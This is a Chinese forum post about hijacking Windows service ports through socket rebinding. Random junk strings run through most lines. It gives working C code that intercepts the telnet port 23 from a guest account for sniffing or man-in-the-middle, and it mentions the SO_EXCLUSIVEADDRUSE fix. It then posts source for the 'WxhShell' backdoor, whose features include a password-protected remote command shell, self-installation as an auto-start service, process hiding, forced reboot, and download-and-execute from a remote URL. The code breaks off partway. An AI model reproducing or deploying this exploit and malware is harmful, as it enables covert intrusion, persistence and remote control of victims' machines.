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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: LR3*G7  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); CvdN"k  
-:rUw$3J  
  saddr.sin_family = AF_INET; wuo,kM  
8 FhdN  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); :23P!^Y  
!5N.B|N t  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); St^5Byd<  
xyxy`qRA  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 y B$x>Q'C(  
}QmqoCAE~m  
  这意味着什么?意味着可以进行如下的攻击: Pzem{y7Ir  
D6Wa.,r  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 K)P%;X  
!'O@2{?B  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) @}ZVtrz  
X wtqi@zlE  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 8?C5L8)  
`H+ lPM66  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  7[wPn`v2  
*K; ~!P  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7-A2_!_x{  
e:W{OIz:  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 6w77YTJ  
q cno^8R  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 >-c8q]()ly  
6H|S;K+  
  #include Mb=" Te>|  
  #include #A.@i+Zv  
  #include ?h2}#wg  
  #include    IR bfNq^:  
  DWORD WINAPI ClientThread(LPVOID lpParam);   WEpoBP CL  
  int main() LgYq.>Nl9  
  { :Tq~8!s  
  WORD wVersionRequested; wA.\i  
  DWORD ret; =\d?'dII:  
  WSADATA wsaData; eDB;cN  
  BOOL val; l;V173W=&  
  SOCKADDR_IN saddr; .|=\z9_7S8  
  SOCKADDR_IN scaddr; C7?/%7{  
  int err; p 4)Q&k!  
  SOCKET s; A)KZa"EX  
  SOCKET sc; g `4<9RMun  
  int caddsize; y> (w\K9W  
  HANDLE mt; mBC+6(5V  
  DWORD tid;   B?wq=DoG  
  wVersionRequested = MAKEWORD( 2, 2 ); /7LR;>Bj  
  err = WSAStartup( wVersionRequested, &wsaData ); <\FH fE  
  if ( err != 0 ) { LHmZxi?  
  printf("error!WSAStartup failed!\n"); ^}C\zW  
  return -1; -.3w^D"l  
  } uVU)d1N  
  saddr.sin_family = AF_INET; 8$|=P!7EO  
   D#z:()VT(  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 tI{_y  
IM+ o.@f-  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); y3ikWnx  
  saddr.sin_port = htons(23); O1kl70,`R  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =qIyqbXz  
  { "*H`HRi4T  
  printf("error!socket failed!\n"); yppo6HGD  
  return -1; -%dCw6aX+  
  } 07$o;W@  
  val = TRUE; L.WljNo  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ]cruF#`%  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) l@:0e]8|o  
  { t0I{q0  
  printf("error!setsockopt failed!\n"); 4Xv*wB1  
  return -1; bu"!jHPB  
  } %PJQ%~ A  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; o`RKXfCq  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Tb-F]lg$  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *\q d  
 7[wieYj{  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) I2^8pTLh  
  { 8JD,u  
  ret=GetLastError(); <Ok3FE.K  
  printf("error!bind failed!\n"); x3krbUlx  
  return -1; 4H<lm*!^  
  } g zg_>2Sj  
  listen(s,2); dq[xwRU1  
  while(1)  rXU\  
  { DFTyMB1H  
  caddsize = sizeof(scaddr); Xs?o{]Fe  
  //接受连接请求 <d_!mKw  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); C'X!\}f.b/  
  if(sc!=INVALID_SOCKET) :a)u&g@G  
  { H7j0K~U0  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?pZOeqqu$  
  if(mt==NULL) kSh( u  
  { z$xo$R(  
  printf("Thread Creat Failed!\n"); ! v0LBe4  
  break; /FJu)H..U  
  } C>w|a  
  } = 9]~ yt  
  CloseHandle(mt); w+{LAS  
  } \'bzt"f$j  
  closesocket(s); O0y_Lm\  
  WSACleanup(); veh<R]U  
  return 0; m9Hit8f@Q  
  }   #1G:lhkC  
  DWORD WINAPI ClientThread(LPVOID lpParam) ""|Qtubv  
  { ?K\axf>F  
  SOCKET ss = (SOCKET)lpParam; ;d9QAN&0}  
  SOCKET sc; I 2|Bg,e  
  unsigned char buf[4096]; ^v`\x5"Vp  
  SOCKADDR_IN saddr; r$~HfskeI  
  long num; 6i~WcAs  
  DWORD val; [zM-^  
  DWORD ret; Ez=Olbk  
  //如果是隐藏端口应用的话,可以在此处加一些判断 # 4PVVu<  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   :[!j?)%>  
  saddr.sin_family = AF_INET; ]P?vdgEM&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 8pgEix/M5o  
  saddr.sin_port = htons(23); y;H-m>*%  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) iW /}#  
  { ox (%5c)b|  
  printf("error!socket failed!\n"); d;}nh2*  
  return -1; {jX2}  
  } <3hRyG@vB  
  val = 100; >J>[& zS  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %-0t?/>  
  { ;BIY^6,7e  
  ret = GetLastError(); .h4 \Y A  
  return -1; Np0u,t%vs  
  } ~`:L?Jkb6H  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5N&?KA-  
  { v oj^pzZ  
  ret = GetLastError(); s}% M4  
  return -1; l2P=R)@{  
  } ]`+HO=0  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) hFl^\$Re  
  { 9j9TPyC/2  
  printf("error!socket connect failed!\n"); MFAH%Z$  
  closesocket(sc); n#OB%@]<V  
  closesocket(ss); )/?$3h;  
  return -1; ?m? ::RH  
  } V% 6I\G2/:  
  while(1) /CG"]!2 "  
  { ;x@~A^<el  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 "~C,bk  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 8q}q{8  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 exUu7& *:  
  num = recv(ss,buf,4096,0); UQ@L V~6{R  
  if(num>0) }2<7%FL  
  send(sc,buf,num,0); k{SAvKx=  
  else if(num==0) d,n 'n  
  break; (c &mCJN  
  num = recv(sc,buf,4096,0); 8C9-_Ng`  
  if(num>0) "u^H# L>-q  
  send(ss,buf,num,0); P! #[mio  
  else if(num==0) +s DV~\Vu  
  break; T <ET )D7  
  } [}0haTYc4  
  closesocket(ss); Vt&2z)Zz  
  closesocket(sc); \Et3|Iv  
  return 0 ; =mp;.k95  
  } zsyIV!(  
#Kex vP&*  
orMwAV  
========================================================== aH/ k Ua  
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下边附上一个代码,,WXhSHELL 'op|B@y  
<s<n  
========================================================== KEjWRwN  
.MoU1n{Yc  
#include "stdafx.h" EVC]sUT  
~;{; ,8!)  
#include <stdio.h> 54R#W:t  
#include <string.h> .Od !0(0  
#include <windows.h> 65$+{s  
#include <winsock2.h> 'XP7" N47O  
#include <winsvc.h> MJ [m  
#include <urlmon.h> LR.<&m%~.  
41?HY{&2  
#pragma comment (lib, "Ws2_32.lib") /zVOK4BqN+  
#pragma comment (lib, "urlmon.lib") Oso#+  
*@=/qkaJaI  
#define MAX_USER   100 // 最大客户端连接数 ~^fZx5  
#define BUF_SOCK   200 // sock buffer XXcl{1Kp!@  
#define KEY_BUFF   255 // 输入 buffer Jgd'1'FOs  
zFff`]^`  
#define REBOOT     0   // 重启 P'[3Fqe  
#define SHUTDOWN   1   // 关机 EC!02S  
Mc_YPR:C  
#define DEF_PORT   5000 // 监听端口 9u}Hmb  
lbl?k5  
#define REG_LEN     16   // 注册表键长度 a>I+]`g  
#define SVC_LEN     80   // NT服务名长度 _ y8Wn}19f  
a:IC)]j$_  
// 从dll定义API EF}\brD1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); nIy}#MUd|q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Y}|X|!0x  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vJc-6EO  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >T3-  
{~"/Y@&]R  
// wxhshell配置信息 mtp+rr  
struct WSCFG { n QZwC  
  int ws_port;         // 监听端口 hwBfdZ  
  char ws_passstr[REG_LEN]; // 口令 /quc}"__  
  int ws_autoins;       // 安装标记, 1=yes 0=no `yXg{lk  
  char ws_regname[REG_LEN]; // 注册表键名 }DfshZ0QM  
  char ws_svcname[REG_LEN]; // 服务名 e95Lo+:f  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 O-GJ-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &LZn FR  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /saIs%(fU  
int ws_downexe;       // 下载执行标记, 1=yes 0=no s.N/2F& *W  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Pz|>"'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q{I%Q)t)gU  
I%X6T@P  
}; j2.|ln"!  
O{G?;H$  
// default Wxhshell configuration ~{B7 k:  
struct WSCFG wscfg={DEF_PORT, K;Uvb(m{&  
    "xuhuanlingzhe", MvHm)h  
    1, j9 4=hJVKi  
    "Wxhshell", 0c'<3@39k|  
    "Wxhshell", KNpl:g3{<Q  
            "WxhShell Service", yyRiP|hJ  
    "Wrsky Windows CmdShell Service", '(yAfL 9}  
    "Please Input Your Password: ", g:D>.lKd  
  1, -)]Yr #Q  
  "http://www.wrsky.com/wxhshell.exe", ~>Fu5i $i  
  "Wxhshell.exe" L Mbn  
    }; vkd.)x`J,  
0g y/:T  
// 消息定义模块 %D}kD6=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; aweV#j(y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {V$|3m>:*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; D4-ifsP  
char *msg_ws_ext="\n\rExit."; JG!mc7  
char *msg_ws_end="\n\rQuit."; Cc' 37~6~P  
char *msg_ws_boot="\n\rReboot..."; 8\ +T8(m  
char *msg_ws_poff="\n\rShutdown..."; G"U9E5O  
char *msg_ws_down="\n\rSave to "; YYl4"l  
~tUl}  
char *msg_ws_err="\n\rErr!"; .4M.y:F  
char *msg_ws_ok="\n\rOK!"; so)[59M7  
RJ ||}5  
char ExeFile[MAX_PATH]; x?p1 HUK  
int nUser = 0; ;I 9&]   
HANDLE handles[MAX_USER]; 6YLj^w] %  
int OsIsNt; <+Dn8  
3<Zq ]jk?n  
SERVICE_STATUS       serviceStatus; bv9i*]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; OgQV;at  
?U5{Wa85D  
// 函数声明 6?mibvK  
int Install(void); ^ H ThN  
int Uninstall(void); % X+:o]T  
int DownloadFile(char *sURL, SOCKET wsh); RLynE V;]  
int Boot(int flag); ~u!|qM  
void HideProc(void); J^nBdofP  
int GetOsVer(void); 8# >op6^  
int Wxhshell(SOCKET wsl); F2dHH^  
void TalkWithClient(void *cs); O=&0H|B  
int CmdShell(SOCKET sock); m!4ndO;0vh  
int StartFromService(void);  Ins`l  
int StartWxhshell(LPSTR lpCmdLine); )}]g] g  
*1 ]uH e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); EXwo,?I  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); oMD>Yw c-  
1i"WDu*h3  
// 数据结构和表定义 5k3n\sqZA  
SERVICE_TABLE_ENTRY DispatchTable[] = w%VU/6~  
{ tl4V7!U@^z  
{wscfg.ws_svcname, NTServiceMain}, =J]]EoX/  
{NULL, NULL} ,p@y] cr  
}; *,)Md[  
FLCexlv^  
// 自我安装 \H~T>j{N  
int Install(void) 5C*Pd Wpl  
{ *vN-Vb^2i)  
  char svExeFile[MAX_PATH];  ZrxD`1L  
  HKEY key; P[#e/qnXu|  
  strcpy(svExeFile,ExeFile); trA4R/ &  
V>%rv'G8  
// 如果是win9x系统,修改注册表设为自启动 Ic:(Gi- %  
if(!OsIsNt) { M~#gRAUJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %@ODs6 R0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mpEK (p  
  RegCloseKey(key); ^q vbqfh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N/'b$m5= S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 88gM?G _X  
  RegCloseKey(key); BB$>h}  
  return 0; [0[i5'K:  
    } D/B8tf+V  
  } eRstD>r  
} uk]$#TV*q>  
else { ua Gk6S  
5 +YH.4R  
// 如果是NT以上系统,安装为系统服务 cLJ$M`e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); nQtWvT  
if (schSCManager!=0) {G0T$,'DR  
{ Oo8VeRZ  
  SC_HANDLE schService = CreateService &yTqZ*Yuk  
  ( +z\^t_"f  
  schSCManager, 9y8&9<#  
  wscfg.ws_svcname, S6M}WR^,  
  wscfg.ws_svcdisp, Yty/3T3)e  
  SERVICE_ALL_ACCESS, Mj?`j_X  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )VS=E7[  
  SERVICE_AUTO_START, /P3 <"?#k  
  SERVICE_ERROR_NORMAL, R)( T^V`{  
  svExeFile, omu|yCK  
  NULL, ufZDF=$7  
  NULL, 7P5)Z-K[  
  NULL, Rz:]\jcIT/  
  NULL, F>6|3bOR  
  NULL b:m88AG  
  ); f:,DWw`B  
  if (schService!=0) UiP"Ixg6  
  { KHu+9eX  
  CloseServiceHandle(schService); f#"J]p  
  CloseServiceHandle(schSCManager); GL0L!="!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); EHIF>@TZ  
  strcat(svExeFile,wscfg.ws_svcname); wn, KY$/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { qzLPw*;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #PW9:_BE  
  RegCloseKey(key);  #ut  
  return 0; ]e^&aR5f"  
    } Jk11fn;\>  
  } kGS;s B  
  CloseServiceHandle(schSCManager); m%?pf2%I#  
} xY8$I6  
} Jbg/0|1  
J26 VnK  
return 1; {n.PF8A5X  
} :$|HNeDO  
7\[@ m3s  
// 自我卸载 M}-Rzc  
int Uninstall(void) |?xN\O^#}  
{ t%FwXaO#  
  HKEY key; Zw9FJ/Zn@  
]t,BMu=%  
if(!OsIsNt) { O`\;e>!t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @6sqMw}  
  RegDeleteValue(key,wscfg.ws_regname); Hqx-~hQO  
  RegCloseKey(key); KYhwOGN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hJ? O],4J  
  RegDeleteValue(key,wscfg.ws_regname); 9(7-{,c  
  RegCloseKey(key); ^_W#+>&--  
  return 0; aEWWP]  
  } a :`E0}C  
} 8z`G,qh  
} 4G0m\[Du  
else { nYSiS}?S .  
|O+H[;TB6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ) 7@ `ut  
if (schSCManager!=0) +oML&g-g_  
{ gp?uHKsM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SmH=e@y~Lx  
  if (schService!=0) /NFj(+&g+  
  { Fb>?1i`RN  
  if(DeleteService(schService)!=0) { FUb\e-Q=  
  CloseServiceHandle(schService); +Q)XH>jh   
  CloseServiceHandle(schSCManager); !zpRrx_  
  return 0; ]Sz:|%JP1  
  } MYvY]Jx3  
  CloseServiceHandle(schService); 'ya{9EdlT  
  } yYYSeH  
  CloseServiceHandle(schSCManager); ^*Q ?]N  
} 7"x;~X  
} g%I"U>!2  
xml7Uarc  
return 1; pRpBhm;iJ  
} m,w A:o$'  
hEH?[>9  
// 从指定url下载文件 #L;dI@7C  
int DownloadFile(char *sURL, SOCKET wsh) M h}m;NI  
{ gO-  _  
  HRESULT hr; pa3{8x{9m  
char seps[]= "/"; Tv=mgH=b  
char *token; uyWunpT  
char *file; W,n!3:7 s  
char myURL[MAX_PATH]; lNh70G8^p  
char myFILE[MAX_PATH]; AKfDXy  
8MtGlW%Eh  
strcpy(myURL,sURL); "m8^zg hL  
  token=strtok(myURL,seps);  %OCb:s  
  while(token!=NULL) j2[+z tG  
  { tw/dD +  
    file=token; /Iokf@5  
  token=strtok(NULL,seps); o#Dk& cH  
  } ()?(I?II  
..5CC;B  
GetCurrentDirectory(MAX_PATH,myFILE); +GN(Ug'R  
strcat(myFILE, "\\"); ]Q1yNtN  
strcat(myFILE, file); _6hQ %hv8  
  send(wsh,myFILE,strlen(myFILE),0); ;`{H!w[D  
send(wsh,"...",3,0); 'GWN~5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |aS.a&vwR  
  if(hr==S_OK) @*XV`_!h  
return 0;  4e7-0}0  
else s 5Qcl;}  
return 1; -d/ =5yxL  
JFmC\  
} yx[/|nZDC4  
 7xlkZF  
// 系统电源模块 Mb}QD~=M  
int Boot(int flag) 8kIksy  
{ 2@],ZLa  
  HANDLE hToken; ML 9' |  
  TOKEN_PRIVILEGES tkp; )2o?#8J  
O 8r|8]o  
  if(OsIsNt) { pah'>dAL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t!l&iVWs  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  |>^JRx  
    tkp.PrivilegeCount = 1; SKN`2hD  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /36:ms A  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); G~a ZJ,  
if(flag==REBOOT) { {}przrU^c  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &Z@o Q  
  return 0; RbnVL$c  
} ,[KD,)3y  
else { &6!)jIWJ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,ZNq,$j  
  return 0; oZgjQM$YP  
} _jVN&\A]mC  
  } ^{`exCwM x  
  else { .~;\eW[  
if(flag==REBOOT) { :3Ox~o  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4p F*"B  
  return 0; !;A\.~-!G  
} .p[ux vp  
else { "&u@d~`-n  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) H*R"ntI?w  
  return 0; Bsvr?|L\  
} IEi^kJflU  
} U7F!Z( 9  
90rol~M&  
return 1; =UQ3HQD  
} \}b%E'+_T  
vvMT}-!  
// win9x进程隐藏模块 CAhXQ7w'Z  
void HideProc(void) gr2U6gi  
{ FW4<5~'  
W{+2/P  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3nQ`]5.Q w  
  if ( hKernel != NULL ) \M^bD4';>  
  { Qw*|qGvy^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C&%_a~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {VRf0c  
    FreeLibrary(hKernel); CHX#^0m.  
  } W ac&b  
XpHrt XD  
return; va@Lz&sAE%  
} k4J+J.|  
!F$6-0%  
// 获取操作系统版本 gwMNYMI  
int GetOsVer(void) F$]Pk|,  
{  =:pJ  
  OSVERSIONINFO winfo; d#FQc18v}k  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bY:x8fl  
  GetVersionEx(&winfo); XRi8Gpg  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) A;M'LM-M  
  return 1; chX"O 0?"  
  else )ez9"# MH'  
  return 0; 99QU3c<.  
} m-, x<bM?  
PJH&  
// 客户端句柄模块 3]S$ih&A  
int Wxhshell(SOCKET wsl) gM:".Ee  
{ q2E_ A  
  SOCKET wsh; ;e*!S}C,  
  struct sockaddr_in client; %h!B^{0  
  DWORD myID; } q8ASYNc  
zrb}_  
  while(nUser<MAX_USER) Q![@c   
{ 8d'0N  
  int nSize=sizeof(client); W'TZ%K) I  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f-Z/t fC  
  if(wsh==INVALID_SOCKET) return 1; 26h21Z16q  
eSq.GtI  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); b \2 ds,  
if(handles[nUser]==0) %'pgGC"|  
  closesocket(wsh); I!K6o.|1  
else j\M?~=*w  
  nUser++; ? =Kduef  
  } > ~O.@|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Gd85kY@w7  
JWxwJex  
  return 0; gPPkT"  
} ym1Y4,  
 @q) d  
// 关闭 socket P&Vv/D  
void CloseIt(SOCKET wsh) nu%*'.  
{ wibNQ`4k  
closesocket(wsh); cvL;3jRo  
nUser--; s~X%Y<9l  
ExitThread(0); =I_'.b  
} cr;da)  
tCt#%7J;a  
// 客户端请求句柄 eaU  
void TalkWithClient(void *cs) Nh44]*  
{ ?:0Jav  
sYA1\YIii  
  SOCKET wsh=(SOCKET)cs; BI@[\aRLQ  
  char pwd[SVC_LEN]; $ I?"lky  
  char cmd[KEY_BUFF]; dR]m8mdqc1  
char chr[1]; pQB."[n  
int i,j; y6BAH  
V0mn4sfs  
  while (nUser < MAX_USER) { ]`WJOx4  
Mi_$">1-W  
if(wscfg.ws_passstr) { )^hbsMhO  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pA4xbr2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %WS+(0*1  
  //ZeroMemory(pwd,KEY_BUFF); JBZ@'8eqi]  
      i=0; [:*)XeRK  
  while(i<SVC_LEN) { _+MJ%'>S  
GM<9p_ B  
  // 设置超时 _Fg5A7or  
  fd_set FdRead; aN3;`~{9  
  struct timeval TimeOut; e\/w'  
  FD_ZERO(&FdRead); J'r^/  
  FD_SET(wsh,&FdRead); GQ ;;bcj&  
  TimeOut.tv_sec=8; B9S@(/"7  
  TimeOut.tv_usec=0; qH_Dc=~la  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "m>81-0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  Vxt+]5X  
BZ^}J!Q'*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oXgcc*j  
  pwd=chr[0]; veECfR;  
  if(chr[0]==0xd || chr[0]==0xa) { (/] J3  
  pwd=0; N'=gep0V@  
  break; [Ch.cE_  
  } 7G],T++N  
  i++; GC'O[q+  
    } 2X&qE}%k S  
[2cD:JL  
  // 如果是非法用户,关闭 socket _@/8gPT*i  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^LLzZnkcZ  
} k9F=8q  
c&Q$L }  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /Z4et'Lo  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?aMOZn?  
d/ @,@8:  
while(1) { <OPArht  
<#HYqR',  
  ZeroMemory(cmd,KEY_BUFF); hE-M$LmN@  
/qw.p#  
      // 自动支持客户端 telnet标准   PPsE${!  
  j=0; 1h5 Akq  
  while(j<KEY_BUFF) { -s/ea~=R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gQ.Sa j $  
  cmd[j]=chr[0]; FVBYo%Ap  
  if(chr[0]==0xa || chr[0]==0xd) { )`D:F>p*  
  cmd[j]=0; 2J;g{95z  
  break; /Ci<xmP  
  } ;A[Q2(w+  
  j++; $ME)#(  
    } !|>"o7  
0m ? )ROaJ  
  // 下载文件 :BT q!>s  
  if(strstr(cmd,"http://")) { #e5\j\#.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); T[j,UkgGo  
  if(DownloadFile(cmd,wsh)) m l$o5&sN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); k VQ\1!  
  else rrv%~giU  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vfo~27T{(  
  } rVsJ`+L  
  else { xId.GWY1  
KK &?gTa  
    switch(cmd[0]) { A5w6]:f2  
  p()xz  
  // 帮助 Du){rVY^d  
  case '?': { NaCy@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `9.r`&T6K  
    break; H>@+om  
  } t |oR7qa{w  
  // 安装 CJI~_3+K  
  case 'i': { ;A!BVq  
    if(Install()) 7x a>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q NVa?'0"Y  
    else F4{IEZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >&k-'`Nw  
    break; {]|J5Dgfe  
    } ^Zp>G{QL{  
  // 卸载 dcT80sOC  
  case 'r': { j <RrLn_  
    if(Uninstall()) \nqS+on]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G*v,GR  
    else }o{(S%%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c[Zje7 @  
    break; %u5]>]M+  
    } Om {'1  
  // 显示 wxhshell 所在路径 ;jTN | i'  
  case 'p': { 7"xd1l?zz  
    char svExeFile[MAX_PATH]; 6S\8$  
    strcpy(svExeFile,"\n\r"); {FTqu.  
      strcat(svExeFile,ExeFile); nt.y !k  
        send(wsh,svExeFile,strlen(svExeFile),0); WOf 4o  
    break; 4v|W-h"K  
    } u> / TE  
  // 重启 61 ~upQaR  
  case 'b': { t&Og$@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); BL58] P84  
    if(Boot(REBOOT)) xAP+FWyV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $u6 3]rypm  
    else { '[O;zJN;  
    closesocket(wsh); h`.&f  
    ExitThread(0); y18Y:)DkL  
    } &G$Ucc `  
    break; 9]@!S|1  
    } P L+sR3bR  
  // 关机 s&J]zb`  
  case 'd': { R_xRp&5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /|#fejPh  
